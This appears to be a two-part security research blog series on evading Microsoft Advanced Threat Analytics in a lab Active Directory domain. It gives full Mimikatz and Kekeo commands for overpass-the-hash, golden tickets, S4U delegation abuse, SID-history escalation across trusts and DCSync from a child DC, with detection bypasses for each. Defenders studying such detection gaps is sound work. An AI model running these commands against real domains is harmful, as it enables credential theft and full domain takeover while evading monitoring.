PS C:\Users\labuser\Desktop\Kekeo>  .\s4u.exe /tgt:termadmin.kirbi /user:Administrator@offensiveps.com /service:cifs/ops-sqlsrvone.offensiveps.com

Encryption type 0x17 means RC4-HMAC. See this article.

Now, is 0x17 an anomaly? Not really, even though AES has been introduced since Server 2008, service accounts, inter-domain tickets and inter-forest tickets still use RC4 encryption. So there is no downgrade for ATA to detect, by default, as far as TGS_REQ is concerned.

Once we have the TGS, it can be used in the current session to access the service:

PS C:\Users\labuser\Desktop> Invoke-Mimikatz -Command '"kerberos::ptt cifs.ops-sqlsrvone.offensiveps.com.kirbi"'
PS C:\Users\labuser\Desktop> ls \\ops-sqlsrvone\c$

Even if we force enable AES on the service account ATA doesn't detect it as we need to move the entire domain (trusts, legacy machines etc. still use RC4) to AES before 0x17 can be considered anomaly.

I think there is one chance of detection, while requesting a TGT, there is an encryption downgrade for the AS-REQ packet (see the screenshot above). But it is up-to the ATA team to tune-it and make the detection reliable.

Also, there is no detection for alternate tickets. It is possible to access any service running with the same service account as the service for which constrained delegation is enabled. See the section, "Server SPN target name validation level" in this article. That means, if we have access to a service like time on the domain controller using constrained delgeation we can request a TGS for a service like HOST (Schedule tasks and many others), RPCSS (WMI), CIFS (File server) and take over the DC completely and ATA won't detect it.

But please keep in mind that if we access the LDAP service and try to run DCSync attack (replication), ATA will detect it. In fact, during my testing, I found out that DCSync is one of those attacks which ATA rarely misses.

Above is based on my understanding of constrained delegation and service accounts. Please correct me if I messed up something :)

The ATA team commented that they are "currently working on detecting abnormal delegation usage".

Attacks Across Trusts

Let's discuss couple of attacks across domain trusts. Many attacks across domain trusts are not detected. That inter-domain tickets use RC4 is one of the reasons for this. We will discuss only two of most interesting attacks, escalation from domain to forest root and DCSync (replication) without detection.

Escalation from domain DA to forest root enterprise admin

It is well known that if we have DA access to one of the domains of a forest, it is possible to escalate privileges to the enterprise admin of the forest root. Read Sean's blog post here to understand the attack.

To use this attack, we just need the krbtgt hash of the current domain and some other information (domain SID, parent domain SID etc.) which is available to any normal user in active directory. We forge an inter-domain TGT, sign and encrypt with the krbtgt hash of child for validation and append SID history. When the parent DC receives this TGT for accessing a service in the parent domain, it reads the SID history and if it is set to Enterprise Admins, we are granted that privilege.

PS C:\Users\labuser\Desktop> Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:childone.offensiveps.com /sid:S-1-5-21-1330358098-3724148463-1077246548 /krbtgt:d0cc884b251ef9bd34c439ec123456u8 /sids:S-1-5-21-3270384115-3177237293-604223748-519 /ptt"'

Now, this is how the network capture looks like on the child DC when the above attack is executed:

Because domain trusts use RC4 encryption by default what we see above is NOT a downgrade. To make this an anomaly, it will be required to enable the support of AES in the Trust properties in the Active Directory Domains and Trusts:

ATA currently does not take into account if AES is enabled for a trust.

DCSync across trust

As I stated earlier, DCSync is rarely missed by ATA. But if it is done from a chilld domain controller, DCSync is not detected by ATA which makes sense as domain controllers replicate stuff all the time. Since we escalated to Enterprise Admin above, we have sufficient privileges to do so.

First, using a golden ticket or overpass-the-hash, escalate privileges to DA on a member machine of child domain. Then run the below command from the member machine:

PS C:\Users\childuser\Desktop> Invoke-Mimikatz -Command '"lsadump::dcsync /domain:offensiveps.com /user:opsdc\krbtgt"' -ComputerName childone-dc 

ATA does not detect this! :)

This makes it much easier to laterally move in the parent domain as we can extract AES keys and avoid detection later.

Abusing the DNSAdmins group membership

Another attack which is not currently detected by ATA is the ability to run remote code as SYSTEM on a Windows DNS server (or DC - if it works as DNS server as well). Read this post and this one by me for more details. Also, DNSAdmins is not a protected group :)

That is all for Day 3!

Week of Evading Microsoft ATA - Day 2 - Overpass-the-hash and Golden Ticket

Welcome to Day 2 of Week of Evading Microsoft ATA. The week has been split in the following days:

Day 1 - Introduction, detection and bypassing/avoiding Recon and Brute-force detection
Day 2 - Detection and bypass of overpass-the-hash and golden ticket

Day 3 - Bypasses/avoidance using more Kerberos attacks and attacks across trusts

Day 4 - Bypasses/avoidance by reducing conversation with the DC

Day 5 - Attacking ATA deployment, limitations of research and mitigation

We left Day 1 with admin access to the box where a domain admin (DA) token is available. The next step is to get access to the credentials of the DA. Here, credentials could be clear text password, NTLM hash, AES keys, user token etc. 

Overpass-the-hash
Let's pull hashes for the DA "tempDA" using Invoke-Mimikatz:

PS C:\Users\labuser\Desktop>  Invoke-Mimikatz -ComputerName ops-applocked

Once we have access to the NTLM hashes, we can use Overpass-the-hash attack to create a Kerberos ticket and access resources and services as tempDA. From an administrative shell:

PS C:\Users\labuser\Desktop>  Invoke-Mimikatz -Command '"sekurlsa::pth /user:tempda /domain:offensiveps.com /ntlm:a29f7623fd11550def0192de9246f46b /run:powershell.exe"'

We now have DA privileges! Nice, isn't it? Not really! ATA caught us:

What now? If we read the detection, it says "The encryption method of the Encrypted_Timestamp field of AS_REQ message from OPS-USER11 has been downgraded based on previously learned behavior." Ok. Let's investigate this!

Let's see how the Encrypted_TimeStamp (in the PreAuthentication Data) field of AS-REQ message looks like when normal authentication (cleartext password) is used:

Now, below is how the same filed looks like when we use NTLM hash for Overpass-the-hash:

So, the encryption type downgrade is quite evident from the screenshots above. How to avoid this downgrade? By using AES keys! Use below command to extract AES keys from a remote computer:

PS C:\Users\labuser\Desktop>  Invoke-Mimikatz -Command '"sekurlsa::ekeys"' -ComputerName ops-applocked

And then use the below command to use it for Overpass-the-hash (note that we can use whatever AES128 keys if they are not available). It is always advisable to use all the hashes:

Bingo! We have elevated our privileges to DA and this doesn't get detected by ATA!

Please note the following from Benjamin's post: "AES keys can be replaced only on 8.1/2012r2 or 7/2008r2/8/2012 with KB2871997, in this case you can avoid NTLM hash."

Another detection of Overpass-the-hash, as seen in the screenshot above, is "Unusual protocol implementation". I _believe_ that this detection is because of another field (supported encryption) in the AS-REQ packets. Can't confirm this and will welcome more research and comments on this:

Another interesting thing to notice is, we can use Overpass-the-hash for generating false alerts on ATA! Failure events can be generated for any user, even a non-existing user, in the domain. Any made-up NTLM hash can be used for this.

Golden Ticket
Once, we have access to DA, let's establish persistence in the domain. We can create a Golden Ticket for that. Let's pull the RC4/NTLM hash of krbtgt account from the domain controller to create a golden ticket.

PS C:\Users\labuser\Desktop>  Invoke-Mimikatz -Command '"lsadump::lsa /name:krbtgt /patch"' -ComputerName ops-dc

Let's create a golden ticket and inject it in memory. As soon as a resource in the domain is accessed, ATA will detect the golden ticket as:

Similar to Overpass-the-hash, ATA looks for encryption downgrade. Since golden ticket is a TGT, the focus is on TGS-REQ packet. Let's have a look at the encryption method of the TGT field of a TGS-REQ in case a user accesses a resource normally:

And this is how a golden ticket generated using NTLM hash of krbtgt looks like:

Clearly a downgrade. How to make a golden ticket appear normal? Right! AES keys once again!

Let's use "/inject" option of the lsadump::lsa module in mimikatz:

PS C:\Users\labuser\Desktop>  Invoke-Mimikatz -Command '"lsadump::lsa /name:krbtgt /inject"' -ComputerName ops-dc

"/inject" provides additional credentials. How? Why? See this post.

Once we have the AES keys, a golden ticket can be generated and used without detection:

PS C:\Users\labuser\Desktop>  Invoke-Mimikatz -Command '"kerberos::golden /User:Administrator /domain:offensiveps.com /sid:S-1-5-21-2578538781-2508153159-3419410681 /aes256:75e6d456868270a705e16ffd7a660dc7afe37817564a6470d446ab31f3c1235g /id:500 /groups:513 /ptt"'

Another Golden Ticket Bypass
Previous one is not the only golden ticket bypass! When I found out the next one, I couldn't believe it!

I hope the Golden Ticket bypass for #ATA I discovered today turns out to be false. Too easy to be true. Can't wait to share :) #BHUSA

— Nikhil Mittal (@nikhil_mitt) June 23, 2017

We can actually avoid golden ticket detection while still using RC4/NTLM hash of the krbtgt account by using a non-existent username!

PS C:\Users\labuser\Desktop>  Invoke-Mimikatz -Command '"kerberos::golden /User:nonexistent /domain:offensiveps.com /sid:S-1-5-21-2578538781-2508153159-3419410681 /rc4:c468ec50882a8b29a0c01d1ed1234567 /id:500 /groups:513 /ptt"'

In ATA 1.8, ticket lifetime based detection was introduced. "If a Kerberos ticket is used for more than the allowed lifetime, ATA will detect it as a suspicious activity" - What's new in ATA version 1.8

Now, let's hold our horses and think. Why should we save a golden ticket to disk at all? It is the no-change of krbtgt hash which provides the persistence and NOT the golden ticket. We can always create a golden ticker whenever there is a need to access a resource, just keep the krbtgt hash handy!

Also, we can set lifetime of the ticket while creating a golden ticket. Enumerate the Kerberos policy using (Get-DomainPolicy)."Kerberos Policy" from PowerView. The default ticket lifetime is 10 hours. In the lab, it is setup as 1 hour. To avoid using a ticket beyond lifetime we can use the following options. The golden ticket create in the below command is valid for one hour after two hours from the time of creation and can be renewed during 7 days (10080 minutes):

PS C:\Users\labuser\Desktop>  Invoke-Mimikatz -Command '"kerberos::golden /User:Administrator /domain:offensiveps.com /sid:S-1-5-21-3270384115-3177237293-604223748 /aes256: /id:500 /groups:513 /startoffset:120 /endin:60 /renewmax:100800 /ticket:golden.kirbi"‘

Make sure that you purge the golden ticket from the target box otherwise ATA will detect it.

That is all for Day 2. Hope you liked it! :)